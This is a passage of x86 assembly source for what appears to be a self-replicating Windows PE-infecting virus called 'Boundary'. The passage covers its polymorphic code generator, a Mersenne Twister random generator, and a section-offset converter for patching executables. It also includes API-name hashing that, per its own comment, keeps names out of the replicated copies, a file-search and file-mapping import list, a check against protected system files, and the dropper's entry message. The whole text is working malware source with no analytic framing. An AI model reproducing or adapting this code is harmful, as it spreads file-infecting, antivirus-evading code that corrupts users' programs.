        cmp     byte ptr [esi + locked], al
        je      get_polyreg
        xchg    ebx, eax

poly_op         label   near

;-----------------------------------------------------------------------------
;avoid ADC/SBB if carry is not known, unless register is completely unknown
;-----------------------------------------------------------------------------

        call    ebp
        and     al, 38h
        jecxz   poly_random
        cmp     al, OP_ADC
        je      poly_carry
        cmp     al, OP_SBB
        jne     poly_random

poly_carry      label   near
        cmp     byte ptr [esi + known_carry], bh
        jne     poly_random
        cmp     dword ptr [ebx * 4 + esi + unknown], -1
        jne     poly_op

poly_random     label   near
        xchg    edx, eax
        call    ebp
        xchg    ebp, eax
        cmp     bl, REG_ESP
        jne     poly_store
        mov     eax, dword ptr [esi + esp_delta]
        cmp     dl, OP_OR
        jne     poly_tryand

;-----------------------------------------------------------------------------
;or esp, 0-3 (if original value, else or esp, 0)
;-----------------------------------------------------------------------------

        cmp     eax, 1
        sbb     eax, eax
        and     eax, 3
        and     ebp, eax
        jecxz   poly_store
        add     dword ptr [esi + esp_delta], ebp
        jmp     poly_store

poly_tryand     label   near
        cmp     dl, OP_AND
        jne     poly_trycmp

;-----------------------------------------------------------------------------
;and esp, fffffffc-ffffffff (if original value, else and esp, ffffffff)
;-----------------------------------------------------------------------------

        cmp     eax, 1
        cmc
        sbb     eax, eax
        or      eax, -4
        or      ebp, eax
        jecxz   poly_store
        and     dword ptr [esi + esp_delta], ebp
        jmp     poly_store

poly_trycmp     label   near

;-----------------------------------------------------------------------------
;operation is new if delta is 0, or if switching to or from XOR
;(allow all ADD/SUBs or XORs to combine)
;-----------------------------------------------------------------------------

        cmp     dl, OP_CMP
        je      poly_store
        test    eax, eax
        je      poly_prevop
        mov     dh, byte ptr [esi + prev_op]
        cmp     dh, dl
        je      poly_store
        cmp     dh, OP_XOR
        je      poly_revert
        cmp     dl, OP_XOR
        jne     poly_store

poly_revert     label   near

;-----------------------------------------------------------------------------
;revert ESP and allow future changes
;-----------------------------------------------------------------------------

        xchg    ebp, eax
        mov     dl, dh
        cmp     dh, OP_XOR
        je      poly_store
        mov     dl, OP_SUB
        call    dword ptr [esp]
        test    al, 1
        je      poly_adcsbb

;-----------------------------------------------------------------------------
;randomly SUB->ADD
;-----------------------------------------------------------------------------

        xor     dl, dl
        neg     ebp

poly_adcsbb     label   near
        cmp     byte ptr [esi + known_carry], bh
        je      poly_prevop
        call    dword ptr [esp]
        and     al, 8
        je      poly_prevop

;-----------------------------------------------------------------------------
;randomly ADC/SBB if carry is known
;-----------------------------------------------------------------------------

        and     dl, al
        add     dl, 10h
        sub     ebp, dword ptr [esi + carry]

poly_prevop     label   near
        mov     byte ptr [esi + prev_op], dl

poly_store      label   near
        mov     ax, 0c081h
        add     ah, bl
        add     ah, dl
        stos    word ptr [edi]
        xchg    ebp, eax
        stos    dword ptr [edi]
        xchg    edx, eax
        xor     ah, ah
        mov     ebp, dword ptr [ebx * 4 + esi + vals]
        test    al, al ;cmp al, OP_ADD
        je      poly_add
        cmp     al, OP_ADC
        jne     poly_trysub
        add     edx, dword ptr [esi + carry]
        cmp     bl, REG_ESP
        jne     poly_add
        mov     byte ptr [esi + prev_op], bh ;OP_ADD

poly_add        label   near
        add     dword ptr [ebx * 4 + esi + vals], edx

;-----------------------------------------------------------------------------
;if all bits are known, carry can be determined exactly
;-----------------------------------------------------------------------------

        cmp     dword ptr [ebx * 4 + esi + unknown], 0
        jne     poly_addesp
        mov     ah, 1
        cmp     dword ptr [ebx * 4 + esi + vals], ebp
        setb    al

poly_addesp     label   near

;-----------------------------------------------------------------------------
;disable ESP undo when in random mode
;-----------------------------------------------------------------------------

        jecxz   poly_jmpret
        cmp     bl, REG_ESP
        jne     poly_ret
        add     dword ptr [esi + esp_delta], edx

poly_jmpret     label   near
        jmp     poly_ret

poly_trysub     label   near
        cmp     al, OP_SUB
        je      poly_sub
        cmp     al, OP_SBB
        jne     poly_or
        add     edx, dword ptr [esi + carry]

poly_sub        label   near
        sub     dword ptr [ebx * 4 + esi + vals], edx

;-----------------------------------------------------------------------------
;if all bits are known, carry can be determined exactly
;-----------------------------------------------------------------------------

        cmp     dword ptr [ebx * 4 + esi + unknown], 0
        jne     poly_subesp
        mov     ah, 1
        cmp     dword ptr [ebx * 4 + esi + vals], ebp
        setnbe  al

poly_subesp     label   near

;-----------------------------------------------------------------------------
;disable ESP undo when in random mode
;-----------------------------------------------------------------------------

        jecxz   poly_ret
        cmp     bl, REG_ESP
        jne     poly_ret
        mov     byte ptr [esi + prev_op], bh ;OP_ADD
        sub     dword ptr [esi + esp_delta], edx
        jmp     poly_ret

poly_or         label   near
        cmp     al, OP_OR
        jne     poly_and
        or      dword ptr [ebx * 4 + esi + vals], edx

;-----------------------------------------------------------------------------
;all set bits become known
;-----------------------------------------------------------------------------

        not     edx
        jmp     poly_unknown

poly_and        label   near
        cmp     al, OP_AND
        jne     poly_xor
        and     dword ptr [ebx * 4 + esi + vals], edx

;-----------------------------------------------------------------------------
;all clear bits become known
;-----------------------------------------------------------------------------

poly_unknown    label   near
        and     dword ptr [ebx * 4 + esi + unknown], edx
        jmp     poly_known

poly_xor        label   near
        cmp     al, OP_XOR
        jne     poly_cmp
        xor     dword ptr [ebx * 4 + esi + vals], edx

;-----------------------------------------------------------------------------
;disable ESP undo when in random mode
;-----------------------------------------------------------------------------

        jecxz   poly_known
        cmp     bl, REG_ESP
        jne     poly_known
        xor     dword ptr [esi + esp_delta], edx

poly_known      label   near
        xor     al, al
        jmp     poly_setcarry

poly_cmp        label   near

;-----------------------------------------------------------------------------
;if all bits are known, carry can be determined exactly
;if top bit is known and different, carry can be guessed
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr [ebx * 4 + esi + unknown]
        jecxz   poly_cmpset
        test    ecx, ecx
        js      poly_ret
        xor     ebp, edx
        jns     poly_ret
        xor     ebp, edx

poly_cmpset     label   near
        cmp     ebp, edx
        setb    al

poly_setcarry   label   near
        mov     ah, 1

poly_ret        label   near
        xchg    ah, al
        mov     word ptr [esi + known_carry], ax
        pop     eax
        push    edi
        popad
        ret
poly            endp

;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------

randinit        proc    near                    ;eax = seed, ecx = 0, edi -> RNG cache
        pushad
        push    edi
        or      eax, 1
        mov     ecx, statelen

init_loop       label   near
        stos    dword ptr [edi]
        mov     edx, 69069
        mul     edx                             ;Knuth: x_new = x_old * 69069
        loop    init_loop
        inc     ecx                             ;force reload
        call    initdelta

initdelta       label   near
        pop     edi
        add     edi, offset randvars - offset initdelta
        xchg    ecx, eax
        stos    dword ptr [edi]
        pop     eax
        stos    dword ptr [edi]
        stos    dword ptr [edi]
        popad
        ret
randinit        endp

random          proc    near
        pushad
        call    randelta

randvars        label   near
        db      'rgb!'                          ;numbers left
        db      'rgb!'                          ;next pointer
        db      'rgb!'                          ;state pointer

randelta        label   near
        pop     esi
        push    esi
        lods    dword ptr [esi]
        xchg    ecx, eax
        lods    dword ptr [esi]
        xchg    esi, eax
        loop    random_ret
        mov     cx, statelen - period
        mov     esi, dword ptr [eax]
        lea     ebx, dword ptr [esi + (period * 4)]
        mov     edi, esi
        push    esi
        lods    dword ptr [esi]
        xchg    edx, eax
        call    twist
        pop     ebx
        mov     cx, period - 1
        push    ecx
        push    ebx
        call    twist
        pop     esi
        push    esi
        inc     ecx
        call    twist
        xchg    edx, eax
        pop     esi
        pop     ecx
        inc     ecx

random_ret      label   near
        lods    dword ptr [esi]
        mov     edx, eax
        shr     eax, tshiftU
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftS
        and     eax, tmaskB
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftT
        and     eax, tmaskC
        xor     eax, edx
        mov     edx, eax
        shr     eax, tshiftL
        xor     eax, edx
        pop     edi
        mov     dword ptr [esp + 1ch], eax      ;eax in pushad
        xchg    ecx, eax
        stos    dword ptr [edi]
        xchg    esi, eax
        stos    dword ptr [edi]
        popad
        ret
random          endp

twist           proc    near
        lods    dword ptr [esi]
        push    eax
        add     eax, eax                        ;remove highest bit
        add     edx, edx                        ;test highest bit
        rcr     eax, 2                          ;merge bits and test lowest bit
        jnb     twist_skip                      ;remove branch but larger using:
        xor     eax, matrixA                    ;sbb edx, edx+and edx, matrixA+xor eax, edx

twist_skip      label   near
        xor     eax, dword ptr [ebx]
        add     ebx, 4
        stos    dword ptr [edi]
        pop     edx
        loop    twist
        ret
twist           endp

adjust_val      proc    near
        pushad
        pop     edx ;discard edi
        mov     ecx, eax
        xchg    dword ptr [ebx * 4 + esi + vals], eax
        xchg    ebp, eax
        xchg    edx, eax

adjust_op       label   near

;-----------------------------------------------------------------------------
;avoid unusable instructions, including XOR if register is ESP, and ADC/SBB if carry is not known
;-----------------------------------------------------------------------------

        call    edx
        and     al, 38h
        cmp     al, OP_OR
        je      adjust_op
        cmp     al, OP_AND
        je      adjust_op
        cmp     al, OP_CMP
        je      adjust_op
        cmp     al, OP_XOR
        jne     check_adcsbb
        cmp     bl, REG_ESP
        jmp     loop_adjust

check_adcsbb    label   near
        cmp     al, OP_ADC
        je      adjust_carry
        cmp     al, OP_SBB
        jne     do_adjust

adjust_carry    label   near
        cmp     byte ptr [esi + known_carry], bh

loop_adjust     label   near
        je      adjust_op

do_adjust       label   near
        xor     edx, edx
        test    al, al ;cmp al, OP_ADD
        je      adjust_add
        cmp     al, OP_ADC
        jne     adjust_trysub
        sub     ecx, dword ptr [esi + carry]

adjust_add      label   near
        cmp     bl, REG_ESP
        je      adjust_adc
        inc     edx
        cmp     ecx, ebp
        setb    dh

adjust_adc      label   near
        sub     ecx, ebp
        jmp     store_adjust

adjust_trysub   label   near
        cmp     al, OP_SUB
        je      adjust_sub
        cmp     al, OP_SBB
        jne     adjust_xor
        add     ecx, dword ptr [esi + carry]

adjust_sub      label   near
        cmp     bl, REG_ESP
        je      adjust_sbb
        inc     edx
        cmp     ecx, ebp
        setnbe  dh

adjust_sbb      label   near
        neg     ecx
        add     ecx, ebp
        jmp     store_adjust

adjust_xor      label   near
        inc     edx
        xor     ecx, ebp

store_adjust    label   near
        mov     dword ptr [esi + known_carry], edx
        add     al, 0c0h
        add     al, bl
        mov     ah, 81h
        xchg    al, ah
        stos    word ptr [edi]
        xchg    ecx, eax
        stos    dword ptr [edi]
        push    edi
        popad
        ret
adjust_val      endp

;-----------------------------------------------------------------------------
;convert relative virtual address to raw file offset
;-----------------------------------------------------------------------------

rvaloop         label   near
        sub     esi, size pesect
        cmp     al, 'R'                         ;mask PUSH ESI
        org     $ - 1
rva2raw         proc    near                    ;ecx = RVA, esi -> last section header
        push    esi
        cmp     dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
        jnbe    rvaloop
        sub     ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
        add     ecx, dword ptr [esi]
        pop     esi
        ret
rva2raw         endp

align   4
hostva          dd      ?
align
boundary_codeend label   near

create_crcs     proc    near
        or      eax, -1

create_outer    label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

create_inner    label   near
        add     eax, eax
        jnb     create_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

create_skip     label   near
        loop    create_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      create_outer
        stos    dword ptr [edi]
        dec     edx
        jne     create_crcs
        ret
create_crcs     endp

do_message      label   near
        xor     eax, eax
        push    eax
        push    offset txttitle
        push    offset txtbody
        push    eax
        call    MessageBoxA
        push    eax
        call    ExitProcess

;must be alphabetical order
;API names are not present in replications, only in dropper

krnnames        db      "CloseHandle"         , 0
                db      "CreateFileA"         , 0
                db      "CreateFileMappingA"  , 0
                db      "CreateFileW"         , 0
                db      "ExitProcess"         , 0
                db      "FindClose"           , 0
                db      "FindFirstFileA"      , 0
                db      "FindFirstFileW"      , 0
                db      "FindNextFileA"       , 0
                db      "FindNextFileW"       , 0
                db      "GetFullPathNameA"    , 0
                db      "GetFullPathNameW"    , 0
                db      "GetTickCount"        , 0
                db      "GetVersion"          , 0
                db      "GlobalAlloc"         , 0
                db      "GlobalFree"          , 0
                db      "LoadLibraryA"        , 0
                db      "MapViewOfFile"       , 0
                db      "MultiByteToWideChar" , 0
                db      "SetCurrentDirectoryA", 0
                db      "SetCurrentDirectoryW", 0
                db      "SetFileAttributesA"  , 0
                db      "SetFileAttributesW"  , 0
                db      "SetFileTime"         , 0
                db      "UnmapViewOfFile"     , 0
                db      "VirtualAlloc"        , 0
                db      "VirtualFree"         , 0

sfcnames        db      "SfcIsFileProtected", 0

txttitle        db      "Boundary", 0
txtbody         db      "running...", 0

.code
        nop
end             dropper